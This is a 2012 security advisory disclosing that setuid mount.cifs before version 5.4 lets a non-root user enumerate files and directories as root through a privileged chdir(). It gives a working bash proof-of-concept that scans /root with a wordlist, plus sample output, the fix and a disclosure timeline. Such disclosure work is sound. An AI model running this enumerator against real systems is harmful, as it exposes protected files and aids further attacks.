linux privileged and arbitrary chdir() (fixed at 5.4 cifs release)

[Jesús Olmos <jesus.olmos () blueliv com>]

########## Blueliv Advisory 2012-004 ##########
- Discovered by: Jesus Olmos Gonzalez at Blueliv
- Risk: 5/5
- Impact: 1/5
###############################################

1. VULNERABILITY
-------------------------
linux privileged and arbitrary chdir(),
this leads to an arbitary file identification as root.

2. BACKGROUND
-------------------------
mount.cifs (GNU Software) is part of linux base system, and is setuided on
most of the distributions (archlinux, debian, ubuntu, ...)

This software mounts cifs partition to directories authorized by fstab.



3. DESCRIPTION
-------------------------
Althow there is not authorized cifs mounts, is possible by the second
parameter
to control a privileged chdir() syscall and infer the return value throught
the responses.

This implies, a little security breach on linux permissions. A non root user
can enumerate files and directories as root.

This can help to exploit another vulnerabilities, enumerate /root/
contents,
descriptors used by any process, user homes, etc ...

one of the attack vectors is /root/ directory scan:

[sha0@spinlock advs]$ ./root_eye.sh wordlist /root/
--- directories ---
.pulse1
.bash_history
.alsaplayer
.dbus
.mozilla
.VirtualBox
.vim
.links
.config
.cpan
.gnome2
--- files ---
.pulse-cookie
.keystore
.bash_profile
dead.letter
.mysql_history
.Xauthority
.vimrc
.viminfo
secret

Also let to enumerate sub-sub directories in order to dump readable files.



4. PROOF OF CONCEPT
-------------------------
#!/bin/bash
# root enumerator 0day by jesus.olmos () blueliv com @sha0coder
# discover root protected files & directories, user homes, process
descriptors, ...

path=$2
wordlist=$1

for i in `cat $wordlist`
do

echo -n "$i:"

/sbin/mount.cifs  //127.0.0.1/a $path/$i

done 2>log.$$ 1>&2

echo --- directories ---
for i in `grep 'denied' log.$$ | cut -d ':' -f 1`
do
        echo $i
done

echo --- files ---
for i in `grep -i 'not a directory' log.$$ | cut -d ':' -f 1`
do
        echo $i
done

rm log.$$



5. BUSINESS IMPACT
-------------------------
May involve issues of confidentiality.


6. SYSTEMS AFFECTED
-------------------------
all versions prior to 5.4

7. SOLUTION
-------------------------
Easy solution: Don't setuid mount.cifs
The Patch: https://attachments.samba.org/attachment.cgi?id=7416

Or upgrade to 5.4 release.


8. REFERENCES
-------------------------
http://bugzilla.samba.org/show_bug.cgi?id=8821
http://gnu.org


9. CREDITS
-------------------------
Jesus Olmos Gonzalez  jolmos(at)blueliv(dot)com  @sha0coder
Blueliv blueliv(dot)com
Rootedcon Arena2012 rootedcon(dot)es


10. DISCOLSURE TIMELINE
-------------------------
February  20, 2012: Vulnerability discovered
March     07, 2012: Reported to the vendor, through bugzilla.
March     13, 2012: No vendor respon.
March     21, 2012: Reported again to vendor.
March     27, 2012: Vendor response, studying the best way to fix it,
but they recommend not to setuid by default.
March     31, 2012: The patch was aplied to 5.4 release


11. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Blueliv accepts no responsibility for any damage
caused by the use or misuse of this information.




-- 
Jesús Olmos
jesus.olmos () blueliv com
OPST, CEH, ECSP certified

Parc Innovació La Salle
C/Sant Joan de la Salle 42, Planta 3
08022 Barcelona
Telf. + 34 902908712
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